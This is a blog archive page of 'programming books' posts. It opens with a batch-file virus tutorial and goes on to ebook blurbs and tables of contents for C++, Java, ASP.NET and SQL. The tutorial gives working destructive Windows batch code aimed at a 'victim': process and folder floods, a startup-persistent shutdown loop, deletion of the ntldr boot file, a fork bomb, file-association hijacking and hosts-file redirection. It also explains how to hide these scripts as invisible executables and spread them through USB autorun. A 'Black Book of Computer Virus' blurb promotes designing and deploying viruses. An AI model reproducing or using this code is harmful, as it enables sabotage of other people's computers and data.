Showing posts with label Programing Books. Show all posts
Showing posts with label Programing Books. Show all posts
Wednesday, September 16, 2015
What are Batch Files
What are Batch Files ?
Lets begin with a simple example , Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one
1.md x //makes directory 'x' on desktop
2.cd x // changes current directory to 'x'
3.md y // makes a directory 'y' in directory 'x'
We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x' .
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat
Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we ran the batch file
So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.
What can batch viruses do ?
They can be used to delete the windows files,format data,steal information,irritate victim, consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.
Now lets start with simple codes, Just copy the code to notepad and save it as anything.bat (I am anything you wish but extension must be bat and save it as 'all files' instead of text files).
Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.
1. Application Bomber
@echo off // It instructs to hide the commands when batch files is executed
:x //loop variable
start winword
start mspaint //open paint
start notepad
start write
start cmd //open command prompt
start explorer
start control
start calc // open calculator
goto x // infinite loop
This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.
2. Folder flooder
@echo off
:x
md %random% // makes directory/folder.
goto x
Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.
3.User account flooder
@echo off
:x
net user %random% /add //create user account
goto x
This code would start creating windows user accounts whose names could be any random numbers.
3.Shutdown Virus
copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds
Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.
4. Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply
Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.
Lets make a batch file to
delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file
After running this batch file , system will not reboot and a normal victim would definitely install the windows again.
5. Fork Bomb
%0|%0 //Its percentage zero pipe percentage zero
This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .
6. Extension Changer
@echo off
assoc .txt=anything // this command associates extension .txt with filetype anything.
assoc .exe=anything
assoc .jpeg=anything
assoc .png=anything
assoc .mpeg=anything
Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.
7. DNS Poisoning
There is a file called ‘hosts’ located at c:\windows\system32\drivers\etc. We can place a website and an IP in front of it. By doing this, we want our web browser to take us to host located at that IP when that website name would be entered. I mean request to resolve IP of website is not sent to Domain Name Server(DNS) if the name of website in hosts file.
@echo off
echo xxx.xxx.xxx.xxx www.anything.com > C:\windows\system32\drivers\etc\hosts //this command prints or add xxx.xxx.xxx.xxx. www.anything.com in hosts file.
Replace xxx.xxx.xxx.xxx and www.anything.com with IP address and website of your choice. You can take/redirect victim to any host located at specific IP when he wud try to log on to specific website or u can simply block any website by entering its name and any invalid IP address.
Viruses we just coded
Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.
Limitations of Batch Viruses -:
1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.
To overcome these limitations,we need to convert these batch files into executable files that is exe files.
After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button.
You can use other options as per your requirement.
Spreading batch viruses through pen drive -:
Step 1.
Open notepad and write
[autorun]
open=anything.bat
Icon=anything.ico
Save file as ‘autorun.inf’
Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .
When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.
Reverse Engineering for Beginners Ebook
Reverse engineering is taking apart an object to see how it works in order to duplicate or enhance the object. The practice, taken from older industries, is now frequently used on computer hardware and software. Software reverse engineering involves reversing a program's machine code (the string of 0s and 1s that are sent to the logic processor) back into the source code that it was written in, using program language statements.
Abridged contents
- Code patterns
- Important fundamentals
- Slightly more advanced examples
- Java 621
- Finding important/interesting stuff in the code
- OS-specific
- Tools
- More examples
- Examples of reversing proprietary file formats
- Other things
- Books/blogs worth reading
- Exercises
- Afterword
- Appendix
- Acronyms used
Reverse Engineering for Beginners Ebook
How Create a Batch File Programming
Introduction
Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS. Whenever a Batch program is executed, it was interpreted line-by-line by the CLI (Command Line Interpreter) command.com or the cmd.exe. Batch file is really helpful in automating tedious tasks and for maintaining system logs. The commands used while creating a batch file are case insensitive, in the sense that it may accept both small and upper case letters.
Batch file programming is the native programming offered by the Microsoft Windows Operating System. Batch file is created using any text editors like notepad, WordPad, WinWord or so on, which comprises of a sequence of built-in commands used to perform some often done tasks like deleting a series of files of same type or of different type, creating logs, clearing unwanted craps from your computer and even for creating a batch VIRUS. Whenever a Batch program is executed, it was interpreted line-by-line by the CLI (Command Line Interpreter) command.com or the cmd.exe. Batch file is really helpful in automating tedious tasks and for maintaining system logs. The commands used while creating a batch file are case insensitive, in the sense that it may accept both small and upper case letters.
Batch File Programming Ebook
Tuesday, September 15, 2015
Black Book Of Computer Virus
Introduction
This is the first in a series of three books about computer viruses. In these volumes I want to challenge you to think in new ways about viruses, and break down false concepts and wrong ways of thinking, and go on from there to discuss the relevance of computer viruses in today’s world. These books are not a call to a witch hunt, or manuals for protecting yourself from viruses. On the contrary, they will teach you how to design viruses, deploy them,and make them better. All three volumes are full of source code for viruses, including both new and well known varieties.
This is the first in a series of three books about computer viruses. In these volumes I want to challenge you to think in new ways about viruses, and break down false concepts and wrong ways of thinking, and go on from there to discuss the relevance of computer viruses in today’s world. These books are not a call to a witch hunt, or manuals for protecting yourself from viruses. On the contrary, they will teach you how to design viruses, deploy them,and make them better. All three volumes are full of source code for viruses, including both new and well known varieties.
It is inevitable that these books will offend some people.
In fact, I hope they do. They need to. I am convinced that computer viruses are not evil and that programmers have a right to create them, posses them and experiment with them. That kind of a stand is going to offend a lot of people, no matter how it is presented.
In fact, I hope they do. They need to. I am convinced that computer viruses are not evil and that programmers have a right to create them, posses them and experiment with them. That kind of a stand is going to offend a lot of people, no matter how it is presented.
Even a purely technical treatment of viruses which simply discussed how to write them and provided some examples would be offensive. The mere thought of a million well armed hackers out there is enough to drive some bureaucrats mad. These books go beyond a technical treatment, though, to defend the idea that viruses can be useful, interesting, and just plain fun. That is bound to prove even more offensive. Still, the truth is the truth, and it needs to be spoken, even if it is offensive. Morals and ethics cannot be determined by a majority vote, any more than they can be determined by the barrel of a gun or a loud mouth. Might does not make right.
Black Book Of Computer Virus Ebook.
C++ programming Language

Table of contents
1. Introduction
2. Instructions for use
3. Basics of C++
4. Structure of a program
5. Variables. Data Types
6. Constants
7. Operators
8. Basic Input/Output
9. Control Structures
10. Control Structures
11. Functions (I)
12. Functions (II)
13. Compound data types
14. Arrays
15. Character Sequences
16. Pointers
17. Dynamic Memory
18. Data structures
19. Other Data Types
20. Object Oriented Programming
21. Classes (I)
22. Classes (II)
23. Friendship and inheritance
24. Polymorphism
25. Advanced concepts
26. Templates
27. Namespaces
28. Exceptions
29. Type Casting
30. Preprocessor directives C++ Standard Library
31. Input/Output with files
C++ programming Language Ebook.
BY GK
ASP.NET Web Developer’s Guide Ebook Download
Since 1996, ASP programmers have faced one upgrade after another, often with noextremely visible advantages until version 3.x—it’s been quite a wild ride. Now we
have the first significant improvement in ASP programming within our grasp—
ASP.NET.Our reliance on a watered-down version of Visual Basic has been alleviated
now that ASP.NET pages may be programmed in both Microsoft’s new and
more powerful version of Visual Basic or the latest version of C++: C#, which is
more Web friendly.ASP.NET allows programmers and developers to work with both
VB.NET and C# within the same ASP.NET page. .NET itself is a milestone for
Microsoft; it marks Microsoft’s entry into the “run once, run everywhere” compiler
market alongside Java and Ruby. .NET is also notable for its extreme flexibility;
unlike the other choices available, .NET allows the programmer to use any number
of .NET-compliant languages to create its code (however, as of this writing, only
VB.NET and C# are allowed for ASP.NET) and have it run anywhere through the
robust .NET Framework.Visual Basic and C++ have undergone changes as well;
Visual Basic was already somewhat Web-oriented through its sibling,Visual Basic
Script (VBS).
Since VBS was not visually orientated, like Visual Basic, this meant that a lot of
the prewritten code employed by Visual Basic did not create performance issues.This
did mean, however, that VBS was not graced with an IDE to debug or troubleshoot
with, making the server logs and the browser error messages a programmer’s only
hope of figuring out what went wrong and where.The lack of an IDE led to several
complications and eventually programmers had to create their own error-handling
system, usually consisting of a log file and e-mail notification.
ASP.NET Web Developer’s Guide Ebook Here DOWNLOAD
SHARE BY GK
Computer Knowledge
Teach Your Self Java Ebook In 21 Days

Overview
Introduction
Week 1 at a Glance
Day 1 An Introduction to Java Programming
2 Object-Oriented Programming and Java
3 Java Basics
4 Working with Objects
5 Arrays, Conditionals, and Loops
6 Creating Classes and Applications in Java
7 More About Methods
Week 2 at a Glance
Day 8 Java Applet Basics
9 Graphics, Fonts, and Color
10 Simple Animation and Threads
11 More Animation, Images, and Sound
12 Managing Simple Events and Interactivity
13 User Interfaces with the Java Abstract Windowing Toolkit
14 Windows, Networking, and Other Tidbits
Week 3 at a Glance
Day 15 Modifiers
16 Packages and Interfaces
17 Exceptions
18 Multithreading
19 Streams
20 Native Methods and Libraries
21 Under the Hood
Appendixes
A Language Summary
B The Java Class Library
C How Java Differs from C and C++
D How Java Differs from C and C++
Teach Your Self Java Ebook In 21 Days Ebook
SHARE BY GK
computer knowledge
SQL Commands
SQL Commands
SELECT - extracts data from a database
UPDATE - updates data in a database
DELETE - deletes data from a database
INSERT INTO - inserts new data into a database
CREATE DATABASE - creates a new database
ALTER DATABASE - modifies a database
CREATE TABLE - creates a new table
ALTER TABLE - modifies a table
DROP TABLE - deletes a table
CREATE INDEX - creates an index (search key)
DROP INDEX - deletes an index
Subscribe to:
Posts (Atom)


